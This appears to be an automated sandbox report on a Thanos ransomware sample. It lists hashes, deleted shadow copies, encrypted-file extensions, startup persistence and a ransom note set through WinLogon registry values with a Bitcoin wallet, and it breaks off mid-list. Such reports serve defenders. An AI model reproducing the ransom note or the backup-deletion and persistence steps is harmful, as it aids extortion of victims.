Analysis
-
max time kernel
82s -
max time network
144s -
platform
windows10_x64 -
resource
win10v20201028 -
submitted
27-01-2021 22:14
Static task
static1
Behavioral task
behavioral1
Sample
thanos-cleaned.exe
Resource
win7v20201028
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
thanos-cleaned.exe
Resource
win10v20201028
windows10_x64
0 signatures
0 seconds
General
-
Target
thanos-cleaned.exe
-
Size
92KB
-
MD5
fe7dcc0f74e152a78963d560b2e3d148
-
SHA1
f9cf1dd1a7e8b2dffc9e0195685cef5a625832ea
-
SHA256
6a5090762c6058bc223e37e89f53832faad80995e3c5ed7e59ed9f5a5e604e47
-
SHA512
a1d2de8abf7e56a2c29bfa38d0ae23584db2174ec8b14c6da3220e1c52ad52861714f8c363be843d16cdf13a22e0b74c16a1cb684ba102f132b09133338a169a
Score
10/10
Malware Config
Signatures
-
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Blocklisted process makes network request 3 IoCs
flow pid Process 35 7096 mshta.exe 37 7096 mshta.exe 39 7096 mshta.exe -
Executes dropped EXE 1 IoCs
pid Process 5864 2kx1y5bm.exe -
Modifies extensions of user files 2 IoCs
Ransomware generally changes the extension on encrypted files.
description ioc Process File created C:\Users\Admin\Pictures\OptimizePush.png.crypted thanos-cleaned.exe File created C:\Users\Admin\Pictures\CloseComplete.raw.crypted thanos-cleaned.exe -
Drops startup file 1 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mystartup.lnk thanos-cleaned.exe -
Enumerates connected drives 3 TTPs 18 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\E: vssadmin.exe File opened (read-only) \??\G: vssadmin.exe File opened (read-only) \??\f: vssadmin.exe File opened (read-only) \??\g: vssadmin.exe File opened (read-only) \??\D: vssadmin.exe File opened (read-only) \??\h: vssadmin.exe File opened (read-only) \??\e: vssadmin.exe File opened (read-only) \??\h: vssadmin.exe File opened (read-only) \??\D: vssadmin.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\H: vssadmin.exe File opened (read-only) \??\e: vssadmin.exe File opened (read-only) \??\E: vssadmin.exe File opened (read-only) \??\g: vssadmin.exe File opened (read-only) \??\G: vssadmin.exe File opened (read-only) \??\H: vssadmin.exe File opened (read-only) \??\f: vssadmin.exe File opened (read-only) \??\F: vssadmin.exe -
Modifies WinLogon 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeCaption = "Information..." thanos-cleaned.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeText = "Your Files are Encrypted.\r\n\r\nDon’t worry, you can return all your files!\r\n\r\nYou've got 48 hours(2 Days), before you lost your files forever.\r\nI will treat you good if you treat me good too.\r\n\r\nThe Price to get all things to the normal : 20,000$\r\nMy BTC Wallet ID :\r\n1F6sq8YvftTfuE4QcYxfK8s5XFUUHC7sD9\r\n\r\nContact :\r\[email protected]\r\n" thanos-cleaned.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
-
Interacts with shadow copies 2 TTPs 14 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 6264 vssadmin.exe 6240 vssadmin.exe 6312 vssadmin.exe 6296 vssadmin.exe 6272 vssadmin.exe 6256 vssadmin.exe 6304 vssadmin.exe 6320 vssadmin.exe 6288 vssadmin.exe 6280 vssadmin.exe 6248 vssadmin.exe 6232 vssadmin.exe 6220 vssadmin.exe 6328 vssadmin.exe -
Kills process with taskkill 3 IoCs
pid Process 6208 taskkill.exe 6200 taskkill.exe 6192 taskkill.exe -
Runs net.exe
-
Runs ping.exe 1 TTPs 1 IoCs
pid Process 5484 PING.EXE -
Suspicious behavior: EnumeratesProcesses 639 IoCs
pid Process 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 1196 powershell.exe 756 thanos-cleaned.exe 1196 powershell.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 1196 powershell.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 796 powershell.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 796 powershell.exe 796 powershell.exe 2136 powershell.exe 2136 powershell.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 2296 powershell.exe 2296 powershell.exe 796 powershell.exe 3980 powershell.exe 3980 powershell.exe 3980 powershell.exe 820 powershell.exe 820 powershell.exe 2136 powershell.exe 820 powershell.exe 3104 powershell.exe 3104 powershell.exe 2296 powershell.exe 3980 powershell.exe 1056 powershell.exe 1056 powershell.exe 4168 powershell.exe 4168 powershell.exe 2136 powershell.exe 820 powershell.exe 4348 powershell.exe 4348 powershell.exe 2296 powershell.exe 3104 powershell.exe 1056 powershell.exe 4168 powershell.exe 4348 powershell.exe 3104 powershell.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 1056 powershell.exe 756 thanos-cleaned.exe 4168 powershell.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 4348 powershell.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 4992 powershell.exe 4992 powershell.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 5044 powershell.exe 5044 powershell.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 5104 powershell.exe 5104 powershell.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 4992 powershell.exe 4992 powershell.exe 5044 powershell.exe 5044 powershell.exe 4992 powershell.exe 5104 powershell.exe 5104 powershell.exe 5044 powershell.exe 5104 powershell.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe 756 thanos-cleaned.exe -
Suspicious use of AdjustPrivilegeToken 296 IoCs
description pid Process Token: SeDebugPrivilege 756 thanos-cleaned.exe Token: SeDebugPrivilege 1196 powershell.exe Token: SeIncreaseQuotaPrivilege 1196 net.exe Token: SeSecurityPrivilege 1196 net.exe Token: SeTakeOwnershipPrivilege 1196 net.exe Token: SeLoadDriverPrivilege 1196 net.exe Token: SeSystemProfilePrivilege 1196 net.exe Token: SeSystemtimePrivilege 1196 net.exe Token: SeProfSingleProcessPrivilege 1196 net.exe Token: SeIncBasePriorityPrivilege 1196 net.exe Token: SeCreatePagefilePrivilege 1196 net.exe Token: SeBackupPrivilege 1196 net.exe Token: SeRestorePrivilege 1196 net.exe Token: SeShutdownPrivilege 1196 net.exe Token: SeDebugPrivilege 1196 net.exe Token: SeSystemEnvironmentPrivilege 1196 net.exe Token: SeRemoteShutdownPrivilege 1196 net.exe Token: SeUndockPrivilege 1196 net.exe Token: SeManageVolumePrivilege 1196 net.exe Token: 33 1196 net.exe Token: 34 1196 net.exe Token: 35 1196 net.exe Token: 36 1196 net.exe Token: SeDebugPrivilege 796 powershell.exe Token: SeDebugPrivilege 2136 powershell.exe Token: SeDebugPrivilege 2296 powershell.exe Token: SeDebugPrivilege 3980 powershell.exe Token: SeDebugPrivilege 820 powershell.exe Token: SeDebugPrivilege 3104 powershell.exe Token: SeDebugPrivilege 1056 powershell.exe Token: SeDebugPrivilege 4168 powershell.exe Token: SeDebugPrivilege 4348 powershell.exe Token: SeIncreaseQuotaPrivilege 796 powershell.exe Token: SeSecurityPrivilege 796 powershell.exe Token: SeTakeOwnershipPrivilege 796 powershell.exe Token: SeLoadDriverPrivilege 796 powershell.exe Token: SeSystemProfilePrivilege 796 powershell.exe Token: SeSystemtimePrivilege 796 powershell.exe Token: SeProfSingleProcessPrivilege 796 powershell.exe Token: SeIncBasePriorityPrivilege 796 powershell.exe Token: SeCreatePagefilePrivilege 796 powershell.exe Token: SeBackupPrivilege 796 powershell.exe Token: SeRestorePrivilege 796 powershell.exe Token: SeShutdownPrivilege 796 powershell.exe Token: SeDebugPrivilege 796 powershell.exe Token: SeSystemEnvironmentPrivilege 796 powershell.exe Token: SeRemoteShutdownPrivilege 796 powershell.exe Token: SeUndockPrivilege 796 powershell.exe Token: SeManageVolumePrivilege 796 powershell.exe Token: 33 796 powershell.exe Token: 34 796 powershell.exe Token: 35 796 powershell.exe Token: 36 796 powershell.exe Token: SeIncreaseQuotaPrivilege 3980 powershell.exe Token: SeSecurityPrivilege 3980 powershell.exe Token: SeTakeOwnershipPrivilege 3980 powershell.exe Token: SeLoadDriverPrivilege 3980 powershell.exe Token: SeSystemProfilePrivilege 3980 powershell.exe Token: SeSystemtimePrivilege 3980 powershell.exe Token: SeProfSingleProcessPrivilege 3980 powershell.exe Token: SeIncBasePriorityPrivilege 3980 powershell.exe Token: SeCreatePagefilePrivilege 3980 powershell.exe Token: SeBackupPrivilege 3980 powershell.exe Token: SeRestorePrivilege 3980 powershell.exe Token: SeShutdownPrivilege 3980 powershell.exe Token: SeDebugPrivilege 3980 powershell.exe Token: SeSystemEnvironmentPrivilege 3980 powershell.exe Token: SeRemoteShutdownPrivilege 3980 powershell.exe Token: SeUndockPrivilege 3980 powershell.exe Token: SeManageVolumePrivilege 3980 powershell.exe Token: 33 3980 powershell.exe Token: 34 3980 powershell.exe Token: 35 3980 powershell.exe Token: 36 3980 powershell.exe Token: SeIncreaseQuotaPrivilege 820 powershell.exe Token: SeSecurityPrivilege 820 powershell.exe Token: SeTakeOwnershipPrivilege 820 powershell.exe Token: SeLoadDriverPrivilege 820 powershell.exe Token: SeSystemProfilePrivilege 820 powershell.exe Token: SeSystemtimePrivilege 820 powershell.exe Token: SeProfSingleProcessPrivilege 820 powershell.exe Token: SeIncBasePriorityPrivilege 820 powershell.exe Token: SeCreatePagefilePrivilege 820 powershell.exe Token: SeBackupPrivilege 820 powershell.exe Token: SeRestorePrivilege 820 powershell.exe Token: SeShutdownPrivilege 820 powershell.exe Token: SeDebugPrivilege 820 powershell.exe Token: SeSystemEnvironmentPrivilege 820 powershell.exe Token: SeRemoteShutdownPrivilege 820 powershell.exe Token: SeUndockPrivilege 820 powershell.exe Token: SeManageVolumePrivilege 820 powershell.exe Token: 33 820 powershell.exe Token: 34 820 powershell.exe Token: 35 820 powershell.exe Token: 36 820 powershell.exe Token: SeIncreaseQuotaPrivilege 2136 powershell.exe Token: SeSecurityPrivilege 2136 powershell.exe Token: SeTakeOwnershipPrivilege 2136 powershell.exe Token: SeLoadDriverPrivilege 2136 powershell.exe Token: SeSystemProfilePrivilege 2136 powershell.exe Token: SeSystemtimePrivilege 2136 powershell.exe Token: SeProfSingleProcessPrivilege 2136 powershell.exe Token: SeIncBasePriorityPrivilege 2136 powershell.exe Token: SeCreatePagefilePrivilege 2136 powershell.exe Token: SeBackupPrivilege 2136 powershell.exe Token: SeRestorePrivilege 2136 powershell.exe Token: SeShutdownPrivilege 2136 powershell.exe Token: SeDebugPrivilege 2136 powershell.exe Token: SeSystemEnvironmentPrivilege 2136 powershell.exe Token: SeRemoteShutdownPrivilege 2136 powershell.exe Token: SeUndockPrivilege 2136 powershell.exe Token: SeManageVolumePrivilege 2136 powershell.exe Token: 33 2136 powershell.exe Token: 34 2136 powershell.exe Token: 35 2136 powershell.exe Token: 36 2136 powershell.exe Token: SeDebugPrivilege 4992 powershell.exe Token: SeIncreaseQuotaPrivilege 2296 powershell.exe Token: SeSecurityPrivilege 2296 powershell.exe Token: SeTakeOwnershipPrivilege 2296 powershell.exe Token: SeLoadDriverPrivilege 2296 powershell.exe Token: SeSystemProfilePrivilege 2296 powershell.exe Token: SeSystemtimePrivilege 2296 powershell.exe Token: SeProfSingleProcessPrivilege 2296 powershell.exe Token: SeIncBasePriorityPrivilege 2296 powershell.exe Token: SeCreatePagefilePrivilege 2296 powershell.exe Token: SeBackupPrivilege 2296 powershell.exe Token: SeRestorePrivilege 2296 powershell.exe Token: SeShutdownPrivilege 2296 powershell.exe Token: SeDebugPrivilege 2296 powershell.exe Token: SeSystemEnvironmentPrivilege 2296 powershell.exe Token: SeRemoteShutdownPrivilege 2296 powershell.exe Token: SeUndockPrivilege 2296 powershell.exe Token: SeManageVolumePrivilege 2296 powershell.exe Token: 33 2296 powershell.exe Token: 34 2296 powershell.exe Token: 35 2296 powershell.exe Token: 36 2296 powershell.exe Token: SeDebugPrivilege 5044 powershell.exe Token: SeIncreaseQuotaPrivilege 1056 powershell.exe Token: SeSecurityPrivilege 1056 powershell.exe Token: SeTakeOwnershipPrivilege 1056 powershell.exe Token: SeLoadDriverPrivilege 1056 powershell.exe Token: SeSystemProfilePrivilege 1056 powershell.exe Token: SeSystemtimePrivilege 1056 powershell.exe Token: SeProfSingleProcessPrivilege 1056 powershell.exe Token: SeIncBasePriorityPrivilege 1056 powershell.exe Token: SeCreatePagefilePrivilege 1056 powershell.exe Token: SeBackupPrivilege 1056 powershell.exe Token: SeRestorePrivilege 1056 powershell.exe Token: SeShutdownPrivilege 1056 powershell.exe Token: SeDebugPrivilege 1056 powershell.exe Token: SeSystemEnvironmentPrivilege 1056 powershell.exe Token: SeRemoteShutdownPrivilege 1056 powershell.exe Token: SeUndockPrivilege 1056 powershell.exe Token: SeManageVolumePrivilege 1056 powershell.exe Token: 33 1056 powershell.exe Token: 34 1056 powershell.exe Token: 35 1056 powershell.exe Token: 36 1056 powershell.exe Token: SeIncreaseQuotaPrivilege 3104 powershell.exe Token: SeSecurityPrivilege 3104 powershell.exe Token: SeTakeOwnershipPrivilege 3104 powershell.exe Token: SeLoadDriverPrivilege 3104 powershell.exe Token: SeSystemProfilePrivilege 3104 powershell.exe Token: SeSystemtimePrivilege 3104 powershell.exe Token: SeProfSingleProcessPrivilege 3104 powershell.exe Token: SeIncBasePriorityPrivilege 3104 powershell.exe Token: SeCreatePagefilePrivilege 3104 powershell.exe Token: SeBackupPrivilege 3104 powershell.exe Token: SeRestorePrivilege 3104 powershell.exe Token: SeShutdownPrivilege 3104 powershell.exe Token: SeDebugPrivilege 3104 powershell.exe Token: SeSystemEnvironmentPrivilege 3104 powershell.exe Token: SeRemoteShutdownPrivilege 3104 powershell.exe Token: SeUndockPrivilege 3104 powershell.exe Token: SeManageVolumePrivilege 3104 powershell.exe Token: 33 3104 powershell.exe Token: 34 3104 powershell.exe Token: 35 